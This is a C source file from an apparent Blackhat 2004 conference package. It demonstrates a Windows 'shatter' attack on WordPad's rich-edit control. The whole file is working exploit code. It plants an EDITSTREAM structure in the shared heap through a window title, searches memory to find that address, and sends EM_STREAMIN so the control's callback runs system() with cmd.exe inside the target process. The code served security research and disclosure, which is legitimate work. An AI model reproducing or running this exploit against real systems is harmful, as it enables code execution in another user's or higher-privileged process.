/*************************************************************************************

* ShatterRTF.c

*

* Demonstrates exploiting the WM_STREAMIN mesasge against RTF controls

*

* tWindow is the title of the programs main window 

*

* Shellcode is preloaded with relevant API address's

*

* Brett Moore [ brett.moore@security-assessment.com ]

* www.security-assessment.com

*

* Blackhat USA 2004 package

*

*************************************************************************************/





#include <windows.h> 

#include <richedit.h>



char tWindow[] =  "Document - WordPad";

char exploit[5000];	

long HeapAddress;

long LocalHwnd;	

long TargetHeap = 0x380000;	// Base address of target mapped heap (wordpad)



long FindHeapAddress()

{

	DWORD GdiSharedHandleTable;

	long HeapOffset;

	long result,pos, bread;

	DWORD pid;

	HANDLE hnd;





	char tmp[10],buf[10];



	

	LocalHwnd=GetForegroundWindow();

	printf("+ Found current window at  0x%xh\n",LocalHwnd);

	

	// Setup Initial Buffer

	memset(exploit,0xcc,sizeof(exploit));

	memcpy(exploit,"**MARK**",8);



	memcpy(exploit+20,"\x53\x00\x45\x00\x41\x00\x52\x00\x43\x00\x48\x00\x49\x00\x4e\x00\x47\x00\x20\x00\x48\x00\x45\x00\x41\x00\x50\x00",28);

	

	// Set window title

	printf("+ Setting window title\n");

	SetWindowTextW(LocalHwnd,exploit);



	memset(tmp,0,sizeof(tmp));

	strcpy(tmp,"**MARK**");



	// Get our base heap

	GdiSharedHandleTable = *(DWORD *)0x7ffdf094;

	printf("+ GDI shared handle table  0x%xh\n",GdiSharedHandleTable);

	GdiSharedHandleTable +=0x060000;

	printf("+ Adjusted GDI shared heap 0x%xh\n",GdiSharedHandleTable);



	if (TargetHeap >  GdiSharedHandleTable )

	{

		HeapOffset = TargetHeap - GdiSharedHandleTable; 

	}else

	{

		HeapOffset = -(GdiSharedHandleTable - TargetHeap);

	}

	



	// Get PID

	pid = GetCurrentProcessId();



	// Open Process

	hnd = OpenProcess(PROCESS_VM_READ,FALSE,pid);

	

	// Set heap position to search from

	pos =GdiSharedHandleTable;

	printf("+ Searching heap from      0x%xh\n",pos);

	

	memset(buf,0,sizeof(buf));

	while (TRUE)

	{

		

		result = ReadProcessMemory(hnd,pos,&buf,8,&bread);

		while (!result)

		{

			// Search 

			pos+=4;

			result = ReadProcessMemory(hnd,pos,&buf,8,&bread);

		}



		if (memcmp(buf,"**MARK**",8) ==0)

		{

			printf("+ Found local address      0x%xh\n",pos);

			printf("+ Using address offset     0x%xh\n",HeapOffset);

			pos+=HeapOffset;

			printf("+ Using target address     0x%xh\n",pos);



			CloseHandle (hnd);

			return pos;

		}

		pos+=4;

	

	}

	

	CloseHandle (hnd);



	// set a default

	pos = 0x4d0de8;

	printf("+ Not found, using default 0x%xh\n",pos);

	return pos;



}



void IterateWindows(long hWnd)

{

   char g_classNameBuf[ 256 ];

   long childhWnd,looper;

	

   childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);

   while (childhWnd != NULL)

   {

      IterateWindows(childhWnd);

      childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);

   }



   GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );

   if ( strcmp(g_classNameBuf, "RichEdit20W") ==0)

   {

	  // Send the callback message

	  printf("+ Sending EM_STREAMIN message to 0x%xh\n",hWnd);

	  SendMessage(hWnd,EM_STREAMIN,SF_TEXT,HeapAddress);



	  printf("+ Done...\n");

	  exit(0);

	}

}





int main(int argc,char *argv[]) 

{ 

	

	long result,hWnd;

	HMODULE hMod;

    DWORD ProcAddr;

	

	

	printf("\n%% Shattering RTF\n%% brett.moore@security-assessment.com\n\n");



	

	// Find Ourselves

	HeapAddress = FindHeapAddress();



	printf("+ Creating exploit buffer\n");

	// Setup Exploit Buffer

	memset(exploit,0x0,sizeof(exploit));

	

	// Setup EDITSTREAM structure

	strcpy(exploit,"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03");

	strcat(exploit,"c:\\winnt\\system32\\cmd.exe");

	

	// Set EDITSTREAM COOKIE

	*(unsigned int *)&exploit[0] = HeapAddress+12;



	// Find local procedure address

	hMod = LoadLibrary("msvcrt.dll");

    ProcAddr = (DWORD)GetProcAddress(hMod, "system");

	// Set address to SYSTEM	

	*(unsigned int *)&exploit[8] = ProcAddr;

		

	printf("+ Sending exploit to heap\n");

	SetWindowTextW(LocalHwnd,exploit);

	



	// Find the target APP

	hWnd=FindWindow(NULL,tWindow);

	if (hWnd == NULL)

	{

		printf("+ Couldn't find %s window\n",tWindow);

		printf("+ Loading default window\n");



		WinExec("C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe",SW_SHOWNORMAL);



		hWnd = FindWindow(NULL,tWindow);

		while(hWnd == NULL)

		{

			Sleep(100);

			hWnd = FindWindow(NULL,tWindow);

		}

	}

	 

	printf("+ Found %s Window At 0x%xh\n",tWindow,hWnd);

	IterateWindows (hWnd);

	printf("Done.\n");

} 